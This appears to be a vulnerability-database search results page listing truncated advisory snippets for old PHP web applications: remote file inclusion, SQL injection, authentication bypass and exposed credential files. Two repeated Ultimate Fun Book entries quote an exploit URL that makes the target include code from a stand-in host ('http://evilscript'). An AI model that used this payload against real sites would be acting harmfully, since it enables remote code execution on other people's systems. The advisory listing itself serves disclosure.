CVE-2006-7091

CVE-2006-7091 affects phpht Topsites FREE 1.022b. A PHP remote file inclusion vulnerability exists in config.php that lets a remote attacker supply a URL in the fullpath parameter to execute arbitrary PHP code. The vulnerability’s provenance is uncertain, with details derived from third‑party inf...

CVE-2006-7091

PHP remote file inclusion vulnerability in config.php in phpht Topsites FREE 1.022b allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2006-7091: Undefined Security Weakness

PHP remote file inclusion vulnerability in config.php in phpht Topsites FREE 1.022b allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2006-7025

SQL injection vulnerability in admin/config.php in Bookmark4U 2.0 and 2.1 allows remote attackers to inject arbitrary SQL command via the sqlcmd parameter...

CVE-2006-7025

CVE-2006-7025 describes an SQL injection in the Bookmark4U app, affecting versions 2.0 and 2.1. The vulnerability is triggered in admin/config.php via the sqlcmd parameter, allowing remote attackers to inject arbitrary SQL. CVSS v2 base score 7.5 (HIGH) indicates potential impact on confidentiali...

CVE-2006-7025: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in admin/config.php in Bookmark4U 2.0 and 2.1 allows remote attackers to inject arbitrary SQL command via the sqlcmd parameter...

Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability:

Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...

CVE-2007-1043

Ezboo webstats, possibly 3.0.3, allows remote attackers to bypass authentication and gain access via a direct request to 1 update.php and 2 config.php...

CVE-2007-1043

CVE-2007-1043 concerns Ezboo Webstats (possibly v3.0.3), where an authentication bypass enables remote access via direct requests to 1) update.php and 2) config.php. Multiple sources corroborate a remote, unauthenticated bypass affecting the product, with a CVSS v2 base score of 7.5 (HIGH) and ne...

EUVD-2007-1040

Ezboo webstats, possibly 3.0.3, allows remote attackers to bypass authentication and gain access via a direct request to 1 update.php and 2 config.php...

CVE-2007-1043: Undefined Security Weakness

Ezboo webstats, possibly 3.0.3, allows remote attackers to bypass authentication and gain access via a direct request to 1 update.php and 2 config.php...

Ultimate Fun Book 1.02 - 'function.php' Remote File Inclusion

Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...

Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Ultimate Fun Book 1.02 function.php Remote File Include Vulnerability ======================================================================= Ultimate Fun Book 1.02...

ezConvert: phpBB ezBoard converter v0.2 (ezconvert_dir) Remote File Include Exploit

No description provided by source. C xoron Name: ezConvert: phpBB ezBoard converter v0.2 ezconvertdir Remote File Include Exploit Author: xoron Exploit coded by xoron Download: http://sourceforge.net/project/showfiles.php?groupid=114129 xoron.biz - xoron.info www.xoron.info/bugs/ezconvert.txt...

CVE-2007-0863

PHP remote file inclusion vulnerability in Trevorchan 0.7 and earlier allows remote attackers to execute arbitrary code via the tcconfigrootdir parameter to 1 upgrade.php, 2 paintsave.php, 3 menu.php, 4 manage.php, and 5 banned.php. NOTE: his issue has been disputed by reliable third parties, who...

CVE-2006-6974: Undefined Security Weakness

Headstart Solutions DeskPRO stores sensitive information under the web root with insufficient access control, which allows remote attackers to 1 list files in the includes/ directory; obtain the SQL username and password via a direct request for 2 config.php and 3 config.php.bak in includes/; rea...

Remote file inclusion

PHP remote file inclusion vulnerability in config.php in phpBB ezBoard converter ezconvert 0.2 allows remote attackers to execute arbitrary PHP code via a URL in the ezconvertdir parameter...

CVE-2007-0761: Undefined Security Weakness

PHP remote file inclusion vulnerability in config.php in phpBB ezBoard converter ezconvert 0.2 allows remote attackers to execute arbitrary PHP code via a URL in the ezconvertdir parameter...

CVE-2006-6966

phpGraphy before 0.9.13a does not properly unset variables when the input data includes a numeric parameter with a value matching an alphanumeric parameter's hash value, which allows remote attackers to execute arbitrary PHP code by uploading a config.php file via the pictures parameter to...

CVE-2006-6966: Undefined Security Weakness

phpGraphy before 0.9.13a does not properly unset variables when the input data includes a numeric parameter with a value matching an alphanumeric parameter's hash value, which allows remote attackers to execute arbitrary PHP code by uploading a config.php file via the pictures parameter to...